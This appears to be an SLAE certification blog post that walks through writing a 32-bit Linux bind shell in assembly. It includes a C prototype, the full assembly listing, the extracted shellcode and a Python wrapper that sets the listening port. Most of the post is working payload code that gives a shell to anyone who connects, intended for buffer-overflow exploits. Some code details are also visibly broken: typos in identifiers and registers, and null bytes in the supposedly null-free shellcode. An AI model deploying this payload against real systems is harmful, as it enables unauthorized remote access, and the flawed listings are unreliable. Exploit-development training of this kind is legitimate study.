Introduction
Objective of this blog post is to explain process of creating bind shell in assembly language for 32 bit Linux. Blog post was created for the SLAE certification exam and it describes process of creating both: bind shell and wrapper script which allows easy modification of bind shell’s listening port. Bind shell can simply be described as a piece of code which can be used to gain command execution (shell access) on target host. It is mostly used within payload sent to remote application which is vulnerable to buffer overflow.
Prototype
To get idea how bind shell works and which syscalls are used/needed, we can create prototype of bind shell code in C.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
#define _GNU_SOURCE # added to avoid gcc's implicit declaration of function warning
#include <unistd.h>
#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
int main() {
// Define struct containing bind() arguments
struct sockaddr_in server;
// Define socket file descriptor
int socketfd;
int socketid;
// Create socket
socketd = socket(AF_INET, SOCK_STREAM, 6);
// Setup struct "server" containing following information: address, port and address family
server.sin_addr.s_addr = htonl(INADDR_ANY); // any address (0.0.0.0)
server.sin_port = htons(4444); // port 4444
server.sin_family = AF_INET; // address family (ip v4)
// Bind socket to ip 0.0.0.0, port 4444
bind(socketd, (struct sockaddr*) &server, sizeof(server));
// Listen for incoming connections
listen(socketd, 2);
// Accept incoming connection
socketid = accept(socketd, NULL, NULL);
// Bind STDIN (0), STDOUT (1), STDERR (2) to incoming connection
dup2(socketid, 0);
dup2(socketid, 1);
dup2(socketid, 2);
// Run /bin/sh shell
execve("/bin/sh", NULL, NULL);
}
Once application is compiled (with: gcc bind.c
) and run (./a.out
), we can confirm with netstat (netstat -antvp
) and netcat (nc -v 127.0.0.1 4444
) that application is indeed listening at port 4444 and provides shell to whoever connects to listening port as shown on following screenshot.
Syscalls
Based on prototype code above, we can conclude that following syscalls are needed to implement bind shell:
- socket
- bind
- listen
- accept
- dup2
- execve
List of all syscalls and their associated numbers can be found in: unistd_32.h. On Kali 2019.4 linux file is located on following location:
1
/usr/include/x86_64-linux-gnu/asm/unistd_32.h
1
2
3
4
5
6
7
8
Syscall Dec Hex
----------------------------------
#define __NR_socket 359 0x167
#define __NR_bind 361 0x169
#define __NR_listen 363 0x16B
#define __NR_accept4 364 0x16C
#define __NR_dup2 63 0x3F
#define __NR_execve 11 0xB
Each syscall and its arguments are defined in man 2 pages in form of C function. In order to find out which arguments are needed we need to look at man pages. Based on man 2 pages for socket syscall (man 2 socket
) we can see the three arguments that need to be passed to syscall.
1
int socket(int domain, int type, int protocol);
socket() creates an endpoint for communication and returns a file descriptor that refers to that endpoint.
The domain argument specifies a communication domain; this selects the protocol family which will be used for communication. These families are defined in <sys/socket.h>.
The socket has the indicated type, which specifies the communication semantics.
The protocol specifies a particular protocol to be used with the socket. Normally only a single protocol exists to support a particular socket type within a given protocol family, in which case protocol can be specified as 0.
Arguments are passed via registers in following order; EAX, EBX, ECX, EDX, ESI, EDI. EAX always contains syscall number (in case of socket it is decimal 359 or hex 0x167). The domain, type and protocol needs to be passed in EBX, ECX and EDX registers.
Assembly instruction: MOV EAX, value
is used to move value to EAX register. Since shell code will most probably be used within exploit, payload cannot contain null byte as null byte (\x00) terminates string and break exploit. Playing with msf-nasm_shell.rb script which is available in Kali linux we can see that opcode for MOV EAX, 0x167 contains null bytes.
1
2
3
nasm > mov eax, 0x167
00000000 B867010000 mov eax, 0x167
Null Bytes -----^^^^
To mitigate this issue, we need to find another way of placing 0x167 in EAX register. One way is to do this is to clear EAX register (set it to zero) and once EAX register is set to zero use MOV AX, 0x167 which refers to first 16 bit of EAX register. Opcode for such instruction does not contain null bytes as shown on following example:
1
2
3
nasm > mov ax, 0x167
00000000 66B86701 mov ax, 0x167
nasm >
Once syscall number is placed in EAX register, we can continue with function arguments. If we look at prototype code:
1
socket(AF_INET, SOCK_STREAM, 6);
Domain (AF_INET) is defined in: /usr/include/x86_64-linux-gnu/bits/socket.h
as value “2” (PF_INET is the same as AF_INET):
1
2
/* Protocol families. */
#define PF_INET 2 /* IP protocol family. */
Type (SOCK_STREAM) is defined in /usr/include/x86_64-linux-gnu/bits/socket_type.h
as value “1”
1
2
3
4
5
/* Types of sockets. */
enum __socket_type
{
SOCK_STREAM = 1, /* Sequenced, reliable, connection-based
of fixed maximum length. */
Since moving values 1, 2 and 6 to EBX, ECX and EDX would generate null bytes as shown on following block code:
1
2
3
4
5
6
7
8
9
10
11
nasm > mov EBX, 0x2
00000000 BB02000000 mov ebx,0x2
Null bytes ---^^^^^^
nasm > mov ECX, 0x1
00000000 B901000000 mov ecx,0x1
Null bytes ---^^^^^^
nasm > mov EDX, 0x6
00000000 BA06000000 mov edx,0x6
Null bytes ---^^^^^^
similar to moving value to EAX register, we can move values to BL, CL and DL which represents first 8 bites of EBX, ECX and EDX registers. We couldn’t use MOV AL, 0x167 as 0x167 requires more than 8 bits so AX had to be used.
1
2
3
4
5
6
nasm > mov bl, 0x2
00000000 B302 mov bl,0x2
nasm > mov cl, 0x1
00000000 B101 mov cl,0x1
nasm > mov dl, 0x6
00000000 B206 mov dl,0x6
Before we can move any value to register we need to se registers to zero. The easiest way to do it without null bytes is to preform XOR operation on register.
1
2
3
4
5
; Clearing registers
XOR EAX, EAX ; set EAX to zero
XOR EBX, EBX ; set EBX to zero
XOR ECX, ECX ; set ECX to zero
XOR EDX, EDX ; set EDX to zero
When registers are set to zero we can start writing assembly code to call socket syscall:
1
2
3
4
5
6
7
8
9
10
11
MOV AX, 0x167 ; 0x167 is hex syscall to socket
MOV BL, 2 ; set domain argument
MOV CL, 1 ; set type argument
MOV DL, 6 ; set protocol argument
INT 0x80 ; interrupt
MOV EDI, EAX ; as result of socket syscall descriptor is saved in EAX
; descriptor will be used with several other syscalls so
; we need to save it some how for later use. One way is
; to save it in EDI register which is least likely to be
; used in following syscalls
Next step is to prepare registers for bind syscall. According to man 2 bind
, bind takes 4 arguments.
1
int bind(int sockfd, const struct sockaddr *addr, socklen_t addrlen);
When a socket is created with socket(2), it exists in a name space (address family) but has no address assigned to it. bind() assigns the address specified by addr to the socket referred to by the file descriptor sockfd.
addrlen specifies the size, in bytes, of the address structure pointed to by addr.
In a same way as for socket syscall we need to prepare data for bind bind syscall with exception that bind is using struct sockaddr which needs to be saved on the stack. In order to place some value on the stack PUSH instruction needs to be used. Since stack grows from higher addresses to lower addresses, last argument needs to be pushed first and due to little endian format values needs to be pushed in reverse order.
1
2
3
server.sin_addr.s_addr = htonl(INADDR_ANY); // any address (0.0.0.0)
server.sin_port = htons(4444); // port 4444
server.sin_family = AF_INET; // address family (ip v4)
There is also 4th parameter: sin_zero wish is always zero. So in order to push these values onto the stack we have to use push in following order:
1
2
3
4
5
XOR ECX, ECX ; clear ECX so that we can push zero to the stack
PUSH ECX ; push zero_sin = 0 to the stack
PUSH ECX ; push INADDR_ANY = 0.0.0.0 to the stack
PUSH word 0x5c11 ; push hex 0x5c11 (dec 4444) in reverse order due to little endian
PUSH word 0x02 ; push hex 0x02 (dec 2) on the stack. 2 represents AF_INET
When struct is placed on the stack, ESP is pointing to the top of the stack, so we need to place address from ESP to ECX as address needs to be passed as 2nd argument to bind syscall. Once we have struct placed on the stack we can write assembly code for bind syscall.
1
2
3
4
5
MOV EBX, EAX ; copy value from EAX to EBX, EAX holds pointer to socket descriptor as result of socket call
MOV EAX, 0x169 ; move bind syscall number in EAX register
MOV ECX, ESP ; move address pointing to the top of the stack to ECX
MOV DL, 0x16 ; move value 0x16 to EDX as third parameter
INT 0x80 ; interrupt
In the same way listen syscall can be written in assembly.
1
int listen(int sockfd, int backlog);
listen() marks the socket referred to by sockfd as a passive socket, that is, as a socket that will be used to accept incoming connection requests using accept(2). The sockfd argument is a file descriptor that refers to a socket of type SOCK_STREAM or SOCK_SEQPACKET. The backlog argument defines the maximum length to which the queue of pending connections for sockfd may grow.
From prototype code we can see backlog is set to 2: listen(socketd, 2)
and sockfd is result of socket syscall currently located in EDI register.
1
2
3
4
5
XOR EAX, EAX ; set EAX to zero
MOV AX, 0x16B ; move 0x16B to (E)AX
MOV EBX, EDI ; move socket descriptor into EBX as first argument
MOV CL, 0x2 ; move "2" as backlog into ECX as second argument
INT 0x80 ; interrupt
Now when we have socket, bind and listen, next we need to accept connection. From man 2 accept
we can see which arguments need to be passed to syscall.
1
int accept(int sockfd, struct sockaddr *addr, socklen_t *addrlen);
The accept() system call is used with connection-based socket types (SOCK_STREAM, SOCK_SEQPACKET). It extracts the first connection request on the queue of pending connections for the listening socket, sockfd, creates a new connected socket, and returns a new file descriptor referring to that socket.
The newly created socket is not in the listening state.
1
2
3
4
5
6
7
8
9
10
11
XOR EAX, EAX ; set EAX to zero for clean start
MOV AX, 0x16C ; move accept syscall number (0x16C) in (E)AX
MOV EBX, EDI ; move socket descriptor from EDI to EBX as first argument
XOR ECX, ECX ; set ECX to zero as argument is NULL
XOR EDX, EDX ; set EDX to zero as argument is NULL
XOR ESI, ESI ; set flag to 0 by XOR-ing
INT 0x80 ; interrupt
XOR EDI, EDI ; set EDI to zero
MOV EDI, EAX ; As result, new socket descriptor will be saved in EAX
; so we can move it to EDI for further use.
Almost there.. next we need to call dup2 syscall with following arguments:
1
int dup2(int oldfd, int newfd);
The dup2() system call performs the same task as dup(), but instead of using the lowest-numbered unused file descriptor, it uses the file descriptor number specified in newfd. If the file descriptor newfd was previously open, it is silently closed before being reused.
Looking at prototype we can see that dup2() needs to be called three time, for STDIN (0), STOUT (2) and STDERR (3).
1
2
3
dup2(socketid, 0);
dup2(socketid, 1);
dup2(socketid, 2);
To reduce shell code size, instad of manually goind thru each dup2 syscall, we can create a loop. ECX register will be used as counter but also as 2nd argument to dup2 syscall.
1
2
3
4
5
6
7
8
MOV CL, 0x3 ; putting 3 in the counter
LOOP_DUP2: ; loop label
XOR EAX, EAX ; clear EAX
MOV AL, 0x3F ; putting the syscall code in EAX
MOV EBX, EDI ; putting our new socket descriptor in EBX
DEC CL ; decrementing CL by one (so at first CL will be 2 then 1 and then 0)
INT 0x80 ; interrupt
JNZ LOOP_DUP2 ; "jump non zero" jumping back to the top of LOOP_DUP2 if the zero flag is not set
And finaly execve syscall.
1
int execve(const char *pathname, char *const argv[], char *const envp[]);
execve() executes the program referred to by pathname.
This causes the program that is currently being run by the calling process to be replaced with a new program, with newly initialized stack, heap, and (initialized and uninitialized) data segments. pathname must be either a binary executable, or a script starting with a line of the form: #!interpreter [optional-arg]
.
argv is an array of argument strings passed to the new program. By convention, the first of these strings (i.e., argv[0]) should contain the filename associated with the file being executed. envp is an array of strings, conventionally of the form key=value, which are passed as environment to the new program. The argv and envp arrays must each include a null pointer at the end of the array.
First we need to push values to the stack. Argv and envp need to have null pointer as well as path name must be null terminated. Since stack grovs from higher to lower memory address, first we need to push null byte and then “/bin/sh” in reverse order. Additional remark, since “/bin/sh” takes 7 bytes, we can add another slash to have 8 bytes “//bin/sh” and avoid null bytes. In order to push null byte to stack, we need to zero-out EAX and push it to stack:
1
2
XOR EAX, EAX
PUSH EAX
After that, we need to push “//bin/sh”
1
2
PUSH 0x68732f6E
PUSH 0x69622f2F
Then we need to place pointer to beginning of stack to EBX. ESP is pointing to the beginning of the stack and put null pointer by pushing EAX to the stack.
1
2
3
MOV EBX, ESP
PUSH EAX
MOV EDX, ESP
ECX should point to the location of EBX so we can push EBX to the stack and move ESP which points to the top of the stack to EXC and finaly load execve syscall number to EAX (AL).
1
2
3
4
PUSH EBX
MOV ECX, ESP
MOV AL, 0x0Bž
INT 0x80
Bind shell code
So when we put it all together and add sections and entry point the result is following:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
global _start
section .text
_start:
; clear registers
XOR EAX, EAX ; set EAX to zero
XOR EBX, EBX ; set EBX to zero
XOR ECX, ECX ; set ECX to zero
XOR EDX, EDX ; set EDX to zero
; socket syscall
MOV AX, 0x167 ; 0x167 is hex syscall to socket
MOV BL, 2 ; set domain argument
MOV CL, 1 ; set type argument
MOV DL, 6 ; set protocol argument
INT 0x80 ; interrupt
MOV EDI, EAX ; as result of socket syscall descriptor is saved in EAX
; descriptor will be used with several other syscalls so
; we need to save it some how for later use. One way is
; to save it in EDI register which is least likely to be
; used in following syscalls
; bind syscall
XOR ECX, ECX ; clear ECX so that we can push zero to the stack
PUSH ECX ; push INADDR_ANY = 0.0.0.0 to the stack
PUSH ECX
PUSH word 0x5c11 ; push hex 0x115c (dec 4444) in reverse order due to little endian
PUSH word 0x2 ; push hex 0x02 (dec 2) on the stack. 2 represents AF_INET
MOV ECX, ESP ; move address pointing to the top of the stack to ECX
MOV EBX, EAX ; copy value from EAX to EBX, EAX holds pointer to socket descriptor as result of socket call
MOV AX, 0x169 ; move bind syscall number in EAX register
MOV DL, 0x16 ; move value 0x16 to EDX as third parameter
INT 0x80 ; interrupt
; listen syscall
XOR EAX, EAX ; set EAX to zero
MOV AX, 0x16B ; move 0x16B to EAX
MOV EBX, EDI ; move socket descriptor into EBX as first argument
MOV CL, 0x2 ; move "2" as backlog into ECX as second argument
INT 0x80 ; interrupt
; accept syscall
XOR EAX, EAX ; set EAX to zero for clean start
MOV EX, 0x16C ; move accept syscall number (0x16C) in EAX
MOV EBX, EDI ; move socket descriptor from EDI to EBX as first argument
XOR ECX, ECX ; set ECX to zero as argument is NULL
XOR EDX, EDX ; set EDX to zero as argument is NULL
XOR ESI, ESI ; set flag to 0 by XOR-ing
INT 0x80 ; interrupt
XOR EDI, EDI ; set EDI to zero
MOV EDI, EAX ; As result, new socket descriptor will be saved in EAX
; so we can move it to EDI for further use.
; dup2 syscall
MOV CL, 0x3 ; putting 3 in the counter
LOOP_DUP2:
XOR EAX, EAX ; clear EAX
MOV AL, 0x3F ; putting the syscall code in EAX
MOV EBX, EDI ; putting our new socket descriptor in EBX
DEC CL ; decrementing CL by one (so at first CL will be 2 then 1 and then 0)
INT 0x80 ; interrupt
JNZ LOOP_DUP2 ; "jump non zero" jumping back to the top of LOOP_DUP2 if the zero flag is not set
; execve syscall
XOR EAX, EAX
PUSH EAX
PUSH 0x68732f6E
PUSH 0x69622f2F
MOV EBX, ESP
PUSH EAX
MOV EDX, ESP
PUSH EBX
MOV ECX, ESP
MOV AL, 0x0B
INT 0x80
We can compile and link code with:
1
2
nasm -f elf32 bind.nasm -o bind.o
ld -z execstack -o bind bind.o -m elf_i386
And when we run it, we can confirm that application is indeed listening on port 4444 and provides shell to whoever connects to listening port.
We can use objdump to get shellcode out:
1
2
objdump -d bind |grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
"\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x66\xb8\x67\x01\xb3\x02\xb1\x01\xb2\x06\xcd\x80\x89\xc7\x31\xc9\x51\x51\x66\x68\x11\x5c\x66\x6a\x02\x89\xe1\x89\xc3\x66\xb8\x69\x01\xb2\x16\xcd\x80\x31\xc0\xb8\x6b\x01\x00\x00\x89\xfb\xb1\x02\xcd\x80\x31\xc0\xb8\x6c\x01\x00\x00\x89\xfb\x31\xc9\x31\xd2\x31\xf6\xcd\x80\x31\xff\x89\xc7\xb1\x03\x31\xc0\xb0\x3f\x89\xfb\xfe\xc9\xcd\x80\x75\xf4\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"
And when we put it is skeleton C program, we can also confirm it works with netstat:
1
gcc -fno-stack-protector -z execstack -m32 skeleton.c -o bind_shell
Wrapper
Last task was to make port argument easily configurable. Suggested way is to create wrapper. To create wrapper, we need to find where port number is located. Port number is 4444 which is presented as hex (little endian format): \x11\x5c. When we know the location of port, we can split shell code in pre-port part and post-port part. Python script generates hex representation of given port number and combines all three parts (pre-port, port and post-port part of shell code) in new shell code.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
import sys
shell1 = "\\x31\\xc0\\x31\\xdb\\x31\\xc9\\x31\\xd2\\x66\\xb8\\x67\\x01\\xb3\\x02\\xb1\\x01\\xb2\\x06\\xcd\\x80\\x89\\xc7\\x31\\xc9\\x51\\x51\\x66\\x68"
port = "\\x11\\x5c"
shell2 = "\\x66\\x6a\\x02\\x89\\xe1\\x89\\xc3\\x66\\xb8\\x69\\x01\\xb2\\x16\\xcd\\x80\\x31\\xc0\\x66\\xb8\\x6b\\x01\\x89\\xfb\\xb1\\x02\\xcd\\x80\\x31\\xc0\\x66\\xb8\\x6c\\x01\\x89\\xfb\\x31\\xc9\\x31\\xd2\\x31\\xf6\\xcd\\x80\\x31\\xff\\x89\\xc7\\xb1\\x03\\x31\\xc0\\xb0\\x3f\\x89\\xfb\\xfe\\xc9\\xcd\\x80\\x75\\xf4\\x31\\xc0\\x50\\x68\\x6e\\x2f\\x73\\x68\\x68\\x2f\\x2f\\x62\\x69\\x89\\xe3\\x50\\x89\\xe2\\x53\\x89\\xe1\\xb0\\x0b\\xcd\\x80"
if len(sys.argv) != 2:
print 'Usage: wrapper.py <port>'
sys.exit(-1)
else:
port_number = sys.argv[1] # read port number sent as argument
try:
port_number = int(port_number)
port_number = hex(port_number)
port_num = port_number.replace("0x","")
if len(port_num) < 4:
port_num = "0" + str(port_num)
port_num1 = str(port_num[:2])
port_num2 = str(port_num[2:])
print ('"' + shell1 + "\\x" + port_num1 + "\\x" + port_num2 + shell2 + '";')
except:
print ("Port must be number")
For test we will generate bind shell code for port 3333:
Resulting opcode:
"\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x66\xb8\x67\x01\xb3\x02\xb1\x01\xb2\x06\xcd\x80\x89\xc7\x31\xc9\x51\x51\x66\x68\x0d\x05\x66\x6a\x02\x89\xe1\x89\xc3\x66\xb8\x69\x01\xb2\x16\xcd\x80\x31\xc0\x66\xb8\x6b\x01\x89\xfb\xb1\x02\xcd\x80\x31\xc0\x66\xb8\x6c\x01\x89\xfb\x31\xc9\x31\xd2\x31\xf6\xcd\x80\x31\xff\x89\xc7\xb1\x03\x31\xc0\xb0\x3f\x89\xfb\xfe\xc9\xcd\x80\x75\xf4\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80";
we need to copy into skeleton.c, compile and run it, and as result bind_shell is listening on port 3333 as shown on following screen shot.